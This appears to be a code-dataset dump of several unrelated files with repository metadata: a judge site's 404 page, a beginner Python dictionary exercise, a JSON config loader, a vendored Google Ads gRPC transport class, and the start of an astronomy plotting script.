์ถœ์ฒ˜</a></li><li><a href = "/step">๋‹จ๊ณ„๋ณ„๋กœ ํ’€์–ด๋ณด๊ธฐ</a></li><li><a href = "/problem/tags">์•Œ๊ณ ๋ฆฌ์ฆ˜ ๋ถ„๋ฅ˜</a></li><li><a href = "/problem/added">์ƒˆ๋กœ ์ถ”๊ฐ€๋œ ๋ฌธ์ œ</a></li><li><a href = "/problem/added/1">์ƒˆ๋กœ ์ถ”๊ฐ€๋œ ์˜์–ด ๋ฌธ์ œ</a></li><li><a href = "/problem/ranking">๋ฌธ์ œ ์ˆœ์œ„</a></li></ul></div><div class="col-md-3 equal-height-in"><ul class="list-unstyled equal-height-list"><li><h3>๋ฌธ์ œ</h3></li><li><a href="/problem/only">ํ‘ผ ์‚ฌ๋žŒ์ด ํ•œ ๋ช…์ธ ๋ฌธ์ œ</a></li><li><a href="/problem/nobody">์•„๋ฌด๋„ ๋ชป ํ‘ผ ๋ฌธ์ œ</a></li><li><a href="/problem/recent/submit">์ตœ๊ทผ ์ œ์ถœ๋œ ๋ฌธ์ œ</a></li><li><a href="/problem/recent/accepted">์ตœ๊ทผ ํ’€๋ฆฐ ๋ฌธ์ œ</a></li><li><a href="/problem/random">๋žœ๋ค</a></li></ul></div><div class="col-md-3 equal-height-in"><ul class="list-unstyled equal-height-list"><li><h3>์ถœ์ฒ˜</h3></li><li><a href = "/category/1">ICPC</a></li><li><a href = "/category/2">Olympiad</a></li><li><a href = "/category/55">ํ•œ๊ตญ์ •๋ณด์˜ฌ๋ฆผํ”ผ์•„๋“œ</a></li><li><a href = "/category/57">ํ•œ๊ตญ์ •๋ณด์˜ฌ๋ฆผํ”ผ์•„๋“œ์‹œโ€ค๋„์ง€์—ญ๋ณธ์„ </a></li><li><a href = "/category/318">์ „๊ตญ ๋Œ€ํ•™์ƒ ํ”„๋กœ๊ทธ๋ž˜๋ฐ ๋Œ€ํšŒ ๋™์•„๋ฆฌ ์—ฐํ•ฉ</a></li><li><a href = "/category/5">๋Œ€ํ•™๊ต ๋Œ€ํšŒ</a></li><li><a href = "/category/428">์นด์นด์˜ค ์ฝ”๋“œ ํŽ˜์Šคํ‹ฐ๋ฒŒ</a></li><li><a href = "/category/215">Coder's High</a></li></ul></div><div class="col-md-3 equal-height-in"><ul class="list-unstyled equal-height-list"><li><h3>ICPC</h3></li><li><a href = "/category/7">Regionals</a></li><li><a href = "/category/4">World Finals</a></li><li><a href = "/category/211">Korea Regional</a></li><li><a href = "/category/34">Africa and the Middle East Regionals</a></li><li><a href = "/category/10">Europe Regionals</a></li><li><a href = "/category/103">Latin America Regionals</a></li><li><a href = "/category/8">North America Regionals</a></li><li><a href = "/category/92">South Pacific Regionals</a></li></ul></div></div></div></div></li></ul></li><li><a href = "/workbook/top">๋ฌธ์ œ์ง‘</a></li><li><a href = "/contest/official/list">๋Œ€ํšŒ<span class='badge badge-red rounded-2x'>2</span></a></li><li><a href = "/status">์ฑ„์  ํ˜„ํ™ฉ</a></li><li><a href = "/ranklist">๋žญํ‚น</a></li><li><a href = "/board/list/all">๊ฒŒ์‹œํŒ</a></li><li><a href = "/group/list/all">๊ทธ๋ฃน</a></li><li><a href = "/blog/list">๋ธ”๋กœ๊ทธ</a></li><li><a href = "/lectures">๊ฐ•์˜</a></li><li><a href = "/search"><i class="fa fa-search search-btn"></i></a></li></ul></div></div></div></div><form action="/logout" method="post" id="logout_form"><input type='hidden' value='%2Fsource%2Fdownload%2F5734597' name="next"></form> <div class="container content"> <div class="col-md-8 col-md-offset-2"> <div class="error-v1"> <span class="error-v1-title">404</span> <span>Not found</span> <div class="margin-bottom-20"></div> </div> <div class="text-center"> <span style="font-size:18px;">๊ฐ•์˜ ์Šฌ๋ผ์ด๋“œ์˜ ์ฒจ๋ถ€ ์†Œ์Šค ์ฝ”๋“œ๊ฐ€ 404 ์—๋Ÿฌ๊ฐ€ ๋œจ๋Š” ๊ฒฝ์šฐ์—๋Š” ๋งํฌ๋ฅผ ๋ณต์‚ฌ/๋ถ™์—ฌ๋„ฃ๊ธฐ ํ•ด์ฃผ์„ธ์š”.</span> </div> <div class="margin-bottom-40"></div> </div> </div> <div class="footer-v3 no-print"><div class="footer"><div class="container"><div class="row"><div class="col-sm-3 md-margin-bottom-40"><div class="thumb-headline"><h2>Baekjoon Online Judge</h2></div><ul class="list-unstyled simple-list margin-bottom-10"><li><a href="/about">์†Œ๊ฐœ</a></li><li><a href="/news">๋‰ด์Šค</a></li><li><a href="/live">์ƒ์ค‘๊ณ„</a></li><li><a href="/poll">์„ค๋ฌธ์กฐ์‚ฌ</a></li><li><a href="/blog">๋ธ”๋กœ๊ทธ</a></li><li><a href="/calendar">์บ˜๋ฆฐ๋”</a></li><li><a href="/donate">๊ธฐ๋ถ€ํ•˜๊ธฐ</a></li><li><a href="https://github.com/Startlink/BOJ-Feature-Request">๊ธฐ๋Šฅ ์ถ”๊ฐ€ ์š”์ฒญ</a></li><li><a href="https://github.com/Startlink/BOJ-spj">์ŠคํŽ˜์…œ ์ €์ง€ ์ œ์ž‘</a></li><li><a href="/labs">์‹คํ—˜์‹ค</a></li></ul><div class="thumb-headline"><h2>์ฑ„์  ํ˜„ํ™ฉ</h2></div><ul class="list-unstyled simple-list"><li><a href="/status">์ฑ„์  ํ˜„ํ™ฉ</a></li></ul></div><div class="col-sm-3 md-margin-bottom-40"><div class="thumb-headline"><h2>๋ฌธ์ œ</h2></div><ul class="list-unstyled simple-list margin-bottom-10"><li><a href="/problemset">๋ฌธ์ œ</a></li><li><a href="/step">๋‹จ๊ณ„๋ณ„๋กœ ํ’€์–ด๋ณด๊ธฐ</a></li><li><a href="/problem/tags">์•Œ๊ณ ๋ฆฌ์ฆ˜ ๋ถ„๋ฅ˜</a></li><li><a href="/problem/added">์ƒˆ๋กœ ์ถ”๊ฐ€๋œ ๋ฌธ์ œ</a></li><li><a href="/problem/added/1">์ƒˆ๋กœ ์ถ”๊ฐ€๋œ ์˜์–ด ๋ฌธ์ œ</a></li><li><a href="/problem/ranking">๋ฌธ์ œ ์ˆœ์œ„</a></li><li><a href="/problem/recent/submit">์ตœ๊ทผ ์ œ์ถœ๋œ ๋ฌธ์ œ</a></li><li><a href="/problem/recent/accepted">์ตœ๊ทผ ํ’€๋ฆฐ ๋ฌธ์ œ</a></li><li><a href="/change">์žฌ์ฑ„์  ๋ฐ ๋ฌธ์ œ ์ˆ˜์ •</a></li></ul><div class="thumb-headline"><h2>์œ ์ € ๋Œ€ํšŒ / ๊ณ ๋“ฑํ•™๊ต ๋Œ€ํšŒ</h2></div><ul class="list-inline simple-list margin-bottom"><li><a href="/category/353">FunctionCup</a></li><li><a href="/category/319">kriiicon</a></li><li><a href="/category/420">๊ตฌ๋ฐ๊ธฐ์ปต</a></li><li><a href="/category/358">๊ผฌ๋งˆ์ปต</a></li><li><a href="/category/421">๋„ค๋ธ”์ปต</a></li><li><a href="/category/413">์†Œํ”„ํŠธ์ฝ˜</a></li><li><a href="/category/416">์›ฐ๋…ธ์šด์ปต</a></li><li><a href="/category/detail/1743">HYEA Cup</a></li><li><a href="/category/364">๊ฒฝ๊ธฐ๊ณผํ•™๊ณ ๋“ฑํ•™๊ต</a></li><li><a href="/category/417">๋Œ€๊ตฌ๊ณผํ•™๊ณ ๋“ฑํ•™๊ต</a></li><li><a href="/category/429">๋ถ€์‚ฐ์ผ๊ณผํ•™๊ณ </a></li><li><a href="/category/435">์„œ์šธ๊ณผํ•™๊ณ ๋“ฑํ•™๊ต</a></li><li><a href="/category/394">์„ ๋ฆฐ์ธํ„ฐ๋„ท๊ณ ๋“ฑํ•™๊ต</a></li></ul></div><div class="col-sm-3 md-margin-bottom-40"><div class="thumb-headline"><h2>์ถœ์ฒ˜</h2></div><ul class="list-unstyled simple-list margin-bottom-10"><li><a href="/category/1">ICPC</a></li><li><a href="/category/211">ICPC Korea Regional</a></li><li><a href="/category/2">Olympiad</a></li><li><a href="/category/55">ํ•œ๊ตญ์ •๋ณด์˜ฌ๋ฆผํ”ผ์•„๋“œ</a></li><li><a href="/category/57">ํ•œ๊ตญ์ •๋ณด์˜ฌ๋ฆผํ”ผ์•„๋“œ์‹œโ€ค๋„์ง€์—ญ๋ณธ์„ </a></li><li><a href="/category/318">์ „๊ตญ ๋Œ€ํ•™์ƒ ํ”„๋กœ๊ทธ๋ž˜๋ฐ ๋Œ€ํšŒ ๋™์•„๋ฆฌ ์—ฐํ•ฉ</a></li><li><a href="/category/5">๋Œ€ํ•™๊ต ๋Œ€ํšŒ</a></li><li><a href="/category/428">์นด์นด์˜ค ์ฝ”๋“œ ํŽ˜์Šคํ‹ฐ๋ฒŒ</a></li><li><a href="/category/215">Coder's High</a></li></ul><div class="thumb-headline"><h2>๋Œ€ํ•™๊ต ๋Œ€ํšŒ</h2></div><ul class="list-inline simple-list"><li><a href="/category/320">KAIST</a></li><li><a href="/category/426">POSTECH</a></li><li><a href="/category/341">๊ณ ๋ ค๋Œ€ํ•™๊ต</a></li><li><a href="/category/434">๊ด‘์ฃผ๊ณผํ•™๊ธฐ์ˆ ์›</a></li><li><a href="/category/361">๊ตญ๋ฏผ๋Œ€ํ•™๊ต</a></li><li><a href="/category/83">์„œ๊ฐ•๋Œ€ํ•™๊ต</a></li><li><a href="/category/354">์„œ์šธ๋Œ€ํ•™๊ต</a></li><li><a href="/category/352">์ˆญ์‹ค๋Œ€ํ•™๊ต</a></li><li><a href="/category/408">์•„์ฃผ๋Œ€ํ•™๊ต</a></li><li><a href="/category/334">์—ฐ์„ธ๋Œ€ํ•™๊ต</a></li><li><a href="/category/336">์ธํ•˜๋Œ€ํ•™๊ต</a></li><li><a href="/category/347">์ „๋ถ๋Œ€ํ•™๊ต</a></li><li><a href="/category/400">์ค‘์•™๋Œ€ํ•™๊ต</a></li><li><a href="/category/402">์ถฉ๋‚จ๋Œ€ํ•™๊ต</a></li><li><a href="/category/418">ํ•œ์–‘๋Œ€ ERICA</a></li><li><a href="/category/363">ํ™์ต๋Œ€ํ•™๊ต</a></li><li><a href="/category/409">๊ฒฝ์ธ์ง€์—ญ 6๊ฐœ๋Œ€ํ•™ ์—ฐํ•ฉ ํ”„๋กœ๊ทธ๋ž˜๋ฐ ๊ฒฝ์‹œ๋Œ€ํšŒ</a></li></ul></div><div class="col-sm-3 md-margin-bottom-40"><div class="thumb-headline"><h2>๋„์›€๋ง</h2></div><ul class="list-unstyled simple-list margin-bottom-10"><li><a href="/help/judge">์ฑ„์  ๋„์›€๋ง ๋ฐ ์ฑ„์  ํ™˜๊ฒฝ</a></li><li><a href="/help/rejudge">์žฌ์ฑ„์  ์•ˆ๋‚ด</a></li><li><a href="/help/rte">๋Ÿฐํƒ€์ž„ ์—๋Ÿฌ ๋„์›€๋ง</a></li><li><a href="/help/problem">๋ฌธ์ œ ์Šคํƒ€์ผ ์•ˆ๋‚ด</a></li><li><a href="/help/language">์ปดํŒŒ์ผ ๋˜๋Š” ์‹คํ–‰ ์˜ต์…˜, ์ปดํŒŒ์ผ๋Ÿฌ ๋ฒ„์ „, ์–ธ์–ด ๋„์›€๋ง</a></li><li><a href="/help/workbook">๋ฌธ์ œ์ง‘ ๋„์›€๋ง</a></li><li><a href="/help/contest">๋Œ€ํšŒ ๊ฐœ์ตœ ์•ˆ๋‚ด</a></li><li><a href="/help/problem-add">๋ฌธ์ œ ์ถœ์ œ ์•ˆ๋‚ด</a></li><li><a href="/help/rule">์ด์šฉ ๊ทœ์น™</a></li><li><a href="/help/stat">ํ†ต๊ณ„ ๋„์›€๋ง</a></li><li><a href="/help/question">์งˆ๋ฌธ ๋„์›€๋ง</a></li><li><a href="/help/faq">์ž์ฃผ๋ฌป๋Š” ์งˆ๋ฌธ</a></li><li><a href="/help/lecture">๊ฐ•์˜ ์•ˆ๋‚ด</a></li><li><a href="/help/short">์งง์€ ์ฃผ์†Œ ์•ˆ๋‚ด</a></li><li><a href="/help/ad">๊ด‘๊ณ  ์•ˆ๋‚ด</a></li></ul></div></div></div><div class="copyright"><div class="container"><div class="row"><div class="col-md-9 col-sm-12"><p>&copy; 2021 All Rights Reserved. <a href="https://startlink.io">์ฃผ์‹ํšŒ์‚ฌ ์Šคํƒ€ํŠธ๋งํฌ</a>&nbsp;|&nbsp;<a href="/terms">์„œ๋น„์Šค ์•ฝ๊ด€</a>&nbsp;|&nbsp;<a href="/privacy">๊ฐœ์ธ์ •๋ณด ๋ณดํ˜ธ</a>&nbsp;|&nbsp;<a href="/terms/payment">๊ฒฐ์ œ ์ด์šฉ ์•ฝ๊ด€</a>&nbsp;|&nbsp;<a href="https://boj.startlink.help/hc/ko">๋„์›€๋ง</a>&nbsp;|&nbsp;<a href="http://startl.ink/2pmlJaY">๊ด‘๊ณ  ๋ฌธ์˜</a>&nbsp;|&nbsp;<a href="https://github.com/Startlink/update-note/blob/master/boj.md">์—…๋ฐ์ดํŠธ ๋…ธํŠธ</a>&nbsp;|&nbsp;<a href="https://github.com/Startlink/update-note/blob/master/boj-issues.md">์ด์Šˆ</a>&nbsp;|&nbsp;<a href="https://github.com/Startlink/update-note/blob/master/boj-todo.md">TODO</a></p></div><div class="col-md-3 col-sm-12"><ul class="social-icons pull-right"><li><a href="https://www.facebook.com/onlinejudge" data-original-title="Facebook" class="rounded-x social_facebook"></a></li><li><a href="https://startlink.blog" data-original-title="Wordpress" class="rounded-x social_wordpress"></a></li></ul></div></div><div class="row"><div class="col-sm-12"><a href="https://startlink.io" class="hidden-xs"><img src="https://d2gd6pc034wcta.cloudfront.net/logo/startlink-logo-white-only.png" class="pull-right startlink-logo"></a><ul class="list-unstyled simple-list"><li>์‚ฌ์—…์ž ๋“ฑ๋ก ๋ฒˆํ˜ธ: 541-88-00682</li><li>๋Œ€ํ‘œ์ž๋ช…: ์ตœ๋ฐฑ์ค€</li><li>์ฃผ์†Œ: ์„œ์šธ์‹œ ์„œ์ดˆ๊ตฌ ์„œ์ดˆ๋Œ€๋กœ74๊ธธ 29 ์„œ์ดˆํŒŒ๋ผ๊ณค 412ํ˜ธ</li><li>์ „ํ™”๋ฒˆํ˜ธ: 02-521-0487 (์ด๋ฉ”์ผ๋กœ ์—ฐ๋ฝ ์ฃผ์„ธ์š”)</li><li>์ด๋ฉ”์ผ: <a href="mailto:[email protected]">[email protected]</a></li><li>ํ†ต์‹ ํŒ๋งค์‹ ๊ณ ๋ฒˆํ˜ธ: ์ œ 2017-์„œ์šธ์„œ์ดˆ-2193 ํ˜ธ</li></ul></div><div class="col-xs-9"><p id="no-acm-icpc"></p></div><div class="col-xs-3"></div></div></div></div></div> </div> <div id="fb-root"></div><script> window.fbAsyncInit = function() { FB.init({ appId : '322026491226049', cookie : true, xfbml : true, version : 'v2.8' }); }; (function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = "//connect.facebook.net/ko_KR/sdk.js"; fjs.parentNode.insertBefore(js, fjs); }(document, 'script', 'facebook-jssdk')); </script> <script> !function(f,b,e,v,n,t,s){ if(f.fbq)return;n=f.fbq=function(){ n.callMethod? n.callMethod.apply(n,arguments):n.queue.push(arguments) };if(!f._fbq)f._fbq=n; n.push=n;n.loaded=!0;n.version='2.0';n.queue=[];t=b.createElement(e);t.async=!0; t.src=v;s=b.getElementsByTagName(e)[0];s.parentNode.insertBefore(t,s) }(window, document,'script','//connect.facebook.net/en_US/fbevents.js'); fbq('init', '1670563073163149'); fbq('track', 'PageView'); </script> <noscript><img height="1" width="1" style="display:none" src="https://www.facebook.com/tr?id=1670563073163149&ev=PageView&noscript=1"/></noscript><script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script><script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-migrate/3.0.1/jquery-migrate.min.js"></script><script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.2.0/js/bootstrap.min.js"></script><script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/moment.js/2.21.0/moment.min.js"></script><script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/moment.js/2.21.0/locale/ko.js"></script><script type="text/javascript" src="https://ddo7jzca0m2vt.cloudfront.net/unify/js/app.min.js?version=20210107"></script><script type="text/javascript">jQuery(document).ready(function() {App.init(0);});</script><!--[if lt IE 9]><script src="https://ddo7jzca0m2vt.cloudfront.net/unify/plugins/respond.js"></script><script src="https://ddo7jzca0m2vt.cloudfront.net/unify/plugins/html5shiv.js"></script><script src="https://ddo7jzca0m2vt.cloudfront.net/unify/js/plugins/placeholder-IE-fixes.js"></script><![endif]--><script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/pace/1.0.2/pace.min.js"></script><script src="https://js.pusher.com/4.2/pusher.min.js"></script><script src="https://cdnjs.cloudflare.com/ajax/libs/noty/3.1.4/noty.min.js"></script> <script> window.MathJax = { tex: { inlineMath: [ ['$', '$'], ['\\(', '\\)'] ], displayMath: [ ['$$','$$'], ["\\[","\\]"] ], processEscapes: true, tags: "ams", autoload: { color: [], colorv2: ['color'] }, packages: { '[+]': ['noerrors'] } }, options: { ignoreHtmlClass: "no-mathjax|redactor-editor", processHtmlClass: 'mathjax', enableMenu: false }, chtml: { scale: 0.9 }, loader: { load: ['input/tex', 'output/chtml', '[tex]/noerrors'], } }; </script><script src="https://polyfill.io/v3/polyfill.min.js?features=es6"></script><script id="MathJax-script" async src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-mml-chtml.js"></script> </body> </html>
5462675544f12dbe29b1c868dd76aa611f90b43a
4fa832c70c3afbb55efc005b5c40167df52c18e0
/Python Crash Course/vAnil/Chapter-6/6-11.py
81c53c9b9e9abceea0d80ae3b98e44cf4b55529e
[]
no_license
DimpleOrg/PythonRepository
76f87d21bfbbcc332f1b02956c4a0b48f084a97d
82ce549c7c08366a368d4e439e8ff4d66a4176ee
refs/heads/main
2023-06-09T21:54:28.330130
2021-05-06T13:00:48
2021-05-06T13:00:48
340,079,685
0
0
null
2021-07-01T12:41:39
2021-02-18T14:43:09
HTML
UTF-8
Python
false
false
680
py
# -*- coding: utf-8 -*- """ Created on Wed Jan 6 17:04:37 2021 @author: ANIL """ cities = { 'delhi': { 'country': 'India', 'population': '2 crores', 'fact': 'capital of India' }, 'lucknow': { 'country': 'India', 'population': '50 lakhs', 'fact': 'capital of UP', }, 'mumbai': { 'country': 'India', 'population': '1 crore', 'fact': 'city of Indian film industry.' }, } for city in cities: print(f'\nCity:\t\t\t{city.title()} \nInformations:') for key, value in cities[city].items(): print(f'\t\t\t\t{key.title()}:\t{value}') print('\n')
7987a696a4686316125b988503e2541779de5618
18fff3ece39927a72a2977c5266f9371e94cf06a
/scripts/config/config.py
1d5c00d0f4c3569df3d3f12be432d2c265420eae
[ "MIT" ]
permissive
luiscape/hdxscraper-ors
0d2699be4269921abbe87191eca0cc3108b61142
ec307625dcf266e448753d4de15b9a3d47c4026f
refs/heads/master
2021-01-25T03:48:34.096902
2015-06-22T21:26:02
2015-06-22T21:26:02
22,961,731
2
0
null
2015-05-20T19:56:27
2014-08-14T17:02:05
Python
UTF-8
Python
false
false
665
py
#!/usr/bin/python # -*- coding: utf-8 -*- import os import sys dir = os.path.split(os.path.split(os.path.realpath(__file__))[0])[0] sys.path.append(dir) import json from utilities.hdx_format import item def LoadConfig(j='prod.json', verbose=True): '''Load configuration parameters.''' data_dir = os.path.join(os.path.split(dir)[0], 'config') try: j = os.path.join(data_dir, j) with open(j) as json_file: config = json.load(json_file) except Exception as e: print "%s Couldn't load configuration." % item('prompt_error') if verbose: print e return False return config if __name__ == "__main__": LoadConfig()
a023fa2269979db481d37ab6482cdb5cd88e4d53
245b92f4140f30e26313bfb3b2e47ed1871a5b83
/airflow/providers/google_vendor/googleads/v12/services/services/user_list_service/transports/grpc.py
aa22166efef7fdb969ffefbd194987071a083d21
[ "Apache-2.0", "BSD-3-Clause", "MIT" ]
permissive
ephraimbuddy/airflow
238d6170a0e4f76456f00423124a260527960710
3193857376bc2c8cd2eb133017be1e8cbcaa8405
refs/heads/main
2023-05-29T05:37:44.992278
2023-05-13T19:49:43
2023-05-13T19:49:43
245,751,695
2
1
Apache-2.0
2021-05-20T08:10:14
2020-03-08T04:28:27
null
UTF-8
Python
false
false
12,287
py
# -*- coding: utf-8 -*- # Copyright 2022 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import warnings from typing import Callable, Dict, Optional, Sequence, Tuple from google.api_core import grpc_helpers from google.api_core import gapic_v1 import google.auth # type: ignore from google.auth import credentials as ga_credentials # type: ignore from google.auth.transport.grpc import SslCredentials # type: ignore import grpc # type: ignore from airflow.providers.google_vendor.googleads.v12.services.types import user_list_service from .base import UserListServiceTransport, DEFAULT_CLIENT_INFO class UserListServiceGrpcTransport(UserListServiceTransport): """gRPC backend transport for UserListService. Service to manage user lists. This class defines the same methods as the primary client, so the primary client can load the underlying transport implementation and call it. It sends protocol buffers over the wire using gRPC (which is built on top of HTTP/2); the ``grpcio`` package must be installed. """ _stubs: Dict[str, Callable] def __init__( self, *, host: str = "googleads.googleapis.com", credentials: ga_credentials.Credentials = None, credentials_file: str = None, scopes: Sequence[str] = None, channel: grpc.Channel = None, api_mtls_endpoint: str = None, client_cert_source: Callable[[], Tuple[bytes, bytes]] = None, ssl_channel_credentials: grpc.ChannelCredentials = None, client_cert_source_for_mtls: Callable[[], Tuple[bytes, bytes]] = None, quota_project_id: Optional[str] = None, client_info: gapic_v1.client_info.ClientInfo = DEFAULT_CLIENT_INFO, always_use_jwt_access: Optional[bool] = False, ) -> None: """Instantiate the transport. Args: host (Optional[str]): The hostname to connect to. credentials (Optional[google.auth.credentials.Credentials]): The authorization credentials to attach to requests. These credentials identify the application to the service; if none are specified, the client will attempt to ascertain the credentials from the environment. This argument is ignored if ``channel`` is provided. credentials_file (Optional[str]): A file with credentials that can be loaded with :func:`google.auth.load_credentials_from_file`. This argument is ignored if ``channel`` is provided. scopes (Optional(Sequence[str])): A list of scopes. This argument is ignored if ``channel`` is provided. channel (Optional[grpc.Channel]): A ``Channel`` instance through which to make calls. api_mtls_endpoint (Optional[str]): Deprecated. The mutual TLS endpoint. If provided, it overrides the ``host`` argument and tries to create a mutual TLS channel with client SSL credentials from ``client_cert_source`` or application default SSL credentials. client_cert_source (Optional[Callable[[], Tuple[bytes, bytes]]]): Deprecated. A callback to provide client SSL certificate bytes and private key bytes, both in PEM format. It is ignored if ``api_mtls_endpoint`` is None. ssl_channel_credentials (grpc.ChannelCredentials): SSL credentials for the grpc channel. It is ignored if ``channel`` is provided. client_cert_source_for_mtls (Optional[Callable[[], Tuple[bytes, bytes]]]): A callback to provide client certificate bytes and private key bytes, both in PEM format. It is used to configure a mutual TLS channel. It is ignored if ``channel`` or ``ssl_channel_credentials`` is provided. quota_project_id (Optional[str]): An optional project to use for billing and quota. client_info (google.api_core.gapic_v1.client_info.ClientInfo): The client info used to send a user-agent string along with API requests. If ``None``, then default info will be used. Generally, you only need to set this if you're developing your own client library. always_use_jwt_access (Optional[bool]): Whether self signed JWT should be used for service account credentials. Raises: google.auth.exceptions.MutualTLSChannelError: If mutual TLS transport creation failed for any reason. google.api_core.exceptions.DuplicateCredentialArgs: If both ``credentials`` and ``credentials_file`` are passed. """ self._grpc_channel = None self._ssl_channel_credentials = ssl_channel_credentials self._stubs: Dict[str, Callable] = {} if api_mtls_endpoint: warnings.warn("api_mtls_endpoint is deprecated", DeprecationWarning) if client_cert_source: warnings.warn( "client_cert_source is deprecated", DeprecationWarning ) if channel: # Ignore credentials if a channel was passed. credentials = False # If a channel was explicitly provided, set it. self._grpc_channel = channel self._ssl_channel_credentials = None else: if api_mtls_endpoint: host = api_mtls_endpoint # Create SSL credentials with client_cert_source or application # default SSL credentials. if client_cert_source: cert, key = client_cert_source() self._ssl_channel_credentials = grpc.ssl_channel_credentials( certificate_chain=cert, private_key=key ) else: self._ssl_channel_credentials = ( SslCredentials().ssl_credentials ) else: if client_cert_source_for_mtls and not ssl_channel_credentials: cert, key = client_cert_source_for_mtls() self._ssl_channel_credentials = grpc.ssl_channel_credentials( certificate_chain=cert, private_key=key ) # The base transport sets the host, credentials and scopes super().__init__( host=host, credentials=credentials, credentials_file=credentials_file, scopes=scopes, quota_project_id=quota_project_id, client_info=client_info, always_use_jwt_access=always_use_jwt_access, ) if not self._grpc_channel: self._grpc_channel = type(self).create_channel( self._host, # use the credentials which are saved credentials=self._credentials, # Set ``credentials_file`` to ``None`` here as # the credentials that we saved earlier should be used. credentials_file=None, scopes=self._scopes, ssl_credentials=self._ssl_channel_credentials, quota_project_id=quota_project_id, options=[ ("grpc.max_send_message_length", -1), ("grpc.max_receive_message_length", -1), ], ) # Wrap messages. This must be done after self._grpc_channel exists self._prep_wrapped_messages(client_info) @classmethod def create_channel( cls, host: str = "googleads.googleapis.com", credentials: ga_credentials.Credentials = None, credentials_file: str = None, scopes: Optional[Sequence[str]] = None, quota_project_id: Optional[str] = None, **kwargs, ) -> grpc.Channel: """Create and return a gRPC channel object. Args: host (Optional[str]): The host for the channel to use. credentials (Optional[~.Credentials]): The authorization credentials to attach to requests. These credentials identify this application to the service. If none are specified, the client will attempt to ascertain the credentials from the environment. credentials_file (Optional[str]): A file with credentials that can be loaded with :func:`google.auth.load_credentials_from_file`. This argument is mutually exclusive with credentials. scopes (Optional[Sequence[str]]): A optional list of scopes needed for this service. These are only used when credentials are not specified and are passed to :func:`google.auth.default`. quota_project_id (Optional[str]): An optional project to use for billing and quota. kwargs (Optional[dict]): Keyword arguments, which are passed to the channel creation. Returns: grpc.Channel: A gRPC channel object. Raises: google.api_core.exceptions.DuplicateCredentialArgs: If both ``credentials`` and ``credentials_file`` are passed. """ return grpc_helpers.create_channel( host, credentials=credentials, credentials_file=credentials_file, quota_project_id=quota_project_id, default_scopes=cls.AUTH_SCOPES, scopes=scopes, default_host=cls.DEFAULT_HOST, **kwargs, ) @property def grpc_channel(self) -> grpc.Channel: """Return the channel designed to connect to this service. """ return self._grpc_channel @property def mutate_user_lists( self, ) -> Callable[ [user_list_service.MutateUserListsRequest], user_list_service.MutateUserListsResponse, ]: r"""Return a callable for the mutate user lists method over gRPC. Creates or updates user lists. Operation statuses are returned. List of thrown errors: `AuthenticationError <>`__ `AuthorizationError <>`__ `CollectionSizeError <>`__ `DatabaseError <>`__ `DistinctError <>`__ `FieldError <>`__ `FieldMaskError <>`__ `HeaderError <>`__ `InternalError <>`__ `MutateError <>`__ `NewResourceCreationError <>`__ `NotAllowlistedError <>`__ `NotEmptyError <>`__ `OperationAccessDeniedError <>`__ `QuotaError <>`__ `RangeError <>`__ `RequestError <>`__ `StringFormatError <>`__ `StringLengthError <>`__ `UserListError <>`__ Returns: Callable[[~.MutateUserListsRequest], ~.MutateUserListsResponse]: A function that, when called, will call the underlying RPC on the server. """ # Generate a "stub function" on-the-fly which will actually make # the request. # gRPC handles serialization and deserialization, so we just need # to pass in the functions for each. if "mutate_user_lists" not in self._stubs: self._stubs["mutate_user_lists"] = self.grpc_channel.unary_unary( "/google.ads.googleads.v12.services.UserListService/MutateUserLists", request_serializer=user_list_service.MutateUserListsRequest.serialize, response_deserializer=user_list_service.MutateUserListsResponse.deserialize, ) return self._stubs["mutate_user_lists"] def close(self): self.grpc_channel.close() __all__ = ("UserListServiceGrpcTransport",)
4ecbc59278840ae59ba0f1bdb4527d98506b88bf
74cf86509c669799a3a7ed4b7982d59dde695230
/pilot_paper_code/plotting_code/plotW_impact.py
8375e8f0b39ef4aae4b494f04f08ad2f1256ec6d
[]
no_license
frenchd24/pilot_paper
e77103ec4873758474f9020c76a8dad86fc6519c
a8d9191f9e435e02a8f6acfbd85ede32bdfd405d
refs/heads/master
2020-05-20T06:54:13.266061
2019-05-07T17:08:42
2019-05-07T17:08:42
185,438,946
0
0
null
null
null
null
UTF-8
Python
false
false
50,838
py
#!/usr/bin/env python ''' By David French ([email protected]) $Id: plotW_impact.py, v 5.6 9/26/16 Plot EW as a function of impact parameter, and impact parameter/diameter and /R_vir (01/04/2016) This is the plotW_b_diam bit from histograms3.py. Now is separated, and loads in a pickle file of the relevant data, as created by "buildDataLists.py" Previous (from histograms3.py): Plot some stuff for the 100largest initial results Make plots for AAS winter 2014 poster. Uses LG_correlation_combined2.csv file Updated for the pilot paper (05/06/15) v5.1: updated for LG_correlation_combined5_8_edit2.csv for l_min = 0.001 (02/24/2016) v5.2: remake plots with v_hel instead of vcorr (4/21/16) v5.3: remake plots with new large galaxy sample (7/13/16) -> /plots4/ v5.4: add the ability to limit results based on 'environment' number (7/14/16) also add a likelihood limit v5.5: major edits to structure and functions included. Same ideas, but better formatting and removed some duplicate functions. Made plots4/ for new pilot paper (8/05/16) v5.6: update with LG_correlation_combined5_11_25cut_edit4.csv and /plots5/ (9/26/16) ''' import sys import os import csv from pylab import * # import atpy from math import * from utilities import * import getpass import pickle from scipy import stats # from astropy.io.votable import parse,tree # from vo.table import parse # import vo.tree import numpy as np import matplotlib.pyplot as plt from matplotlib.ticker import NullFormatter from matplotlib import rc # rc('font',**{'family':'sans-serif','sans-serif':['Helvetica']}) # ## for Palatino and other serif fonts use: # #rc('font',**{'family':'serif','serif':['Palatino']}) # rc('text', usetex=True) fontScale = 18 rc('text', usetex=True) rc('font', size=18, family='serif', weight='normal') rc('xtick.major',size=8,width=0.6) rc('xtick.minor',size=5,width=0.6) 